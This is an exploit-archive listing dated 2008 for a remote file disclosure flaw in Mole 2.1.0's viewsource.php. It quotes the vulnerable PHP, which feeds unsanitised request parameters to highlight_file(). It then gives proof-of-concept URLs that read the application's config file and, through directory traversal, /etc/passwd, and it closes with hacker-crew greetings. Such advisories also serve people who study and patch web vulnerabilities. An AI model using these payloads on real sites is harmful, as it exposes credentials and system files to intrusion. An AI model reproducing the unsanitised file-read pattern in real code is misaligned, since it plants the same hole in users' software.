Mole 2.1.0 (viewsource.php) Remote File Disclosure Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Mole 2.1.0 (viewsource.php) Remote File Disclosure Vulnerability
# Published : 2008-04-07
# Author : GoLd_M
# Previous Title : Dragoon 0.1 (root) Remote File Inclusion Vulnerability
# Next Title : ChartDirector 4.1 (viewsource.php file) File Disclosure Vulnerability

#  Mole v2.1.0 (viewsource.php) Remote File Disclosure Vulnerability
#  Script : http://sourceforge.net/project/showfiles.php?group_id=164171
#  Vuln Code :
##############################################################################
#    <html>
#    <head>
#    <title>Mole: Template viewer</title>
#    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
#    </head>
#    <body>
#    
#    <?php
#    $dirn = $_REQUEST['dirn']; <--- XxX
#    $fname = $_REQUEST['fname']; <--- XxX
#    
#    
#    highlight_file($dirn.$fname); <--- XxX
#    ?>
#    
#    </body>
#    </html>
##############################################################################
#  POC :
#      /mole_2_1_0/viewsource.php?dirn=include/config.inc.php
#      /mole_2_1_0/viewsource.php?fname=include/config.inc.php
#      /mole_2_1_0/viewsource.php?dirn=../../../../../../../&fname=etc/passwd
##############################################################################
#  Greetz : Tryag-Team -JIKI Team -Stack-Terrorist [v40] -H-T Team -RoMaNcYxHaCkEr 
##############################################################################

# www.Syue.com [2008-04-07]